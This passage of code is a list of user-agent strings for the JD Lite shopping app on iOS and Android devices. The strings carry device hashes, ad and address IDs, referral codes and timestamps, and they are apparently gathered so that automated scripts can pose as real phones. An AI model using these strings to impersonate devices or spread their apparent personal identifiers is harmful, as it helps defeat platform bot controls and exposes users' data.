'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 